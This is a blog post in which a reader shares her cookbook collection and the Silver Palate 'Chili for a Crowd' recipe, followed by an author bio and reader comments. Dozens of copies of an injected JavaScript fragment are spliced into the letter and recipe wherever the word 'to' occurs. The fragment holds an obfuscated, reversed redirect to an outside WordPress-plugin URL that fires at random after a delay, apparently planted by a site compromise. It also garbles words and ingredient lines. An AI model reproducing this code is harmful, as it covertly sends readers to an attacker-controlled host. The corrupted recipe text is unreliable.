Tip from Diva Reader – The Contessa

Dearest Diva –

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>I just ordered another cook book that I thought your readers might be interested in learning about – The Tavern on the Green Cookbook! It’s just out and has some wonderful recipes and a complete histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of the restaurant. I’m sure you are familiar with this wonderful NYC restaurant.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 200px; CURSOR: hand; HEIGHT: 261px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/SdSATBB9PxI/AAAAAAAAC3c/FjBIK6gJ37w/s320/Tavern+on+the+Green.bmp” border=”0″ />I think my cookbook count now is somewhere close toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 250. Someday I’ll have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tell you about my favorite recipe in each one! One of my favorite recipes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to feed a hungry large group in the dead of winter is the Chili for a crowd from the Silver Palate Cookbook. I have friends call and ask me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to “puhleeeeeeeeeeeeeeze make a batch”. It’s a lot of work but so worth it!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 300px; CURSOR: hand; HEIGHT: 300px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SdSAS8mUnqI/AAAAAAAAC3U/zNCdstKz3ZU/s320/silver+palette+cookbook.jpg” border=”0″ />
And before I go, I wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ask do you know about the website www.luxaholics.com ? If you’re not familiar with it, I’m certain you’ll be happy I introduced you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to it.

The Contessa

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Silver Palate Chili For a Crowd!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 262px; CURSOR: hand; HEIGHT: 320px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/SdSAS1_2iNI/AAAAAAAAC3M/H-il_Bu6QHA/s320/chili.jpg” border=”0″ />When choosing chopped meat for chili, you’ll find that beef chuck adds great flavor. And you never can have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too many spices. Look for dark-red kidney beans. Lemon juice brightens all the tastes!

2 tablespoons extra-virgin olive oil
1 pound yellow onions, coarsely chopped
1 pound sweet Italian sausage, removed from casings
4 pounds beef chuck, ground
1 can (12 ounces) toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to paste
1 1/2 tablespoons minced garlic
1/3 cup ground cumin
1/2 cup chili powder
1/4 cup Dijon mustard
2 tablespoons dried basil
2 tablespoons dried oregano
1 1/2 tablespoons salt,
or toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to taste
1 1/2 tablespoons freshly ground black pepper
3 cans (28 ounces each) Italian plum toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toes, drained
1/4 cup dry red wine
2 tablespoons fresh lemon juice
1/4 cup chopped fresh dill
1/4 cup chopped parsley
2 cans (16 ounces each) dark-red kidney beans, drained
2 cans (5 1/2 ounces each) pitted black olives, drained

1. Heat the olive oil in a very large pot. Add the onions and cook over low heat, stirring occasionally, until wilted, about 15 minutes. Add the sausage meat and ground chuck; cook over medium-high heat, stirring, until the meats are well browned. Spoon off any excess fat and discard.
2. Stir in the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to paste, garlic, cumin, chili powder, mustard, basil, oregano, salt and pepper. Add the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toes, wine, lemon juice, dill, parsley and kidney beans. Stir well and simmer, uncovered, for another 15 minutes.
3. Taste and adjust seasonings. Add olives; simmer for 5 minutes more toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to heat through. Serve immediately.

Serves 20. Per serving: 260 calories, 19g carbohydrate, 26g protein,
10g fat, 55mg cholesterol.

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

11 thoughts on “Tip from Diva Reader – The Contessa”

  1. Always looking for something to feed a crowd. The Silver Palate has been a life saver so many times in my world. Enjoy your trip to Paris Toma. It has been far too long between visits for me

  2. Oooo this Chili looks so yummy! Next week we will be back in the 50’s here, a bit chili and this will warm my belly very nicely. I’m really NOT the best chef but this looks like I can do it! I admit I do collect cookbooks…for all the lovely photos, hehe. Merci beaucoup Toma!!!

    ~Miss Kris~

  3. You’re welcome Rose!! This is the first time I’ve heard of Lemon Juice in Chili but I’ve read enough rave reviews about this recipe that I’m certainly going to try it next time I make a batch!

  4. Well me and Sir Jeffrey are headed to Cape Cod next month for a little pre-season resting, dining, beach combing and shopping and I know I’ll come home with at least one more cookbook. Last year it was The Cape Cod Table but this year I may look at some of the fried specialities at one of our favorite restaurants, Moby Dick’s. You must have a huge appetite to eat here…it’s worth every bite!

  5. Esther,
    You and Me both!!! I love nothing more than a good bowl of chili – it’s comfort food that reminds me of my childhood in Oklahoma.

    Polly,
    I had the same amazement when I read The Contessa’s Guest Blog! I think I have around 30 cookbooks and I thought that was alot!!!

    Karen,
    We’ll have to have you do a head count for us sometime… and we’d love to hear more about your grandmothers cookbooks! I bet you have some fun vintage recipes!!

  6. I think I am running a close second on cookbooks. I love them. I have many that belonged to my grandmothers. I will have to look for both of the cook books mentioned.

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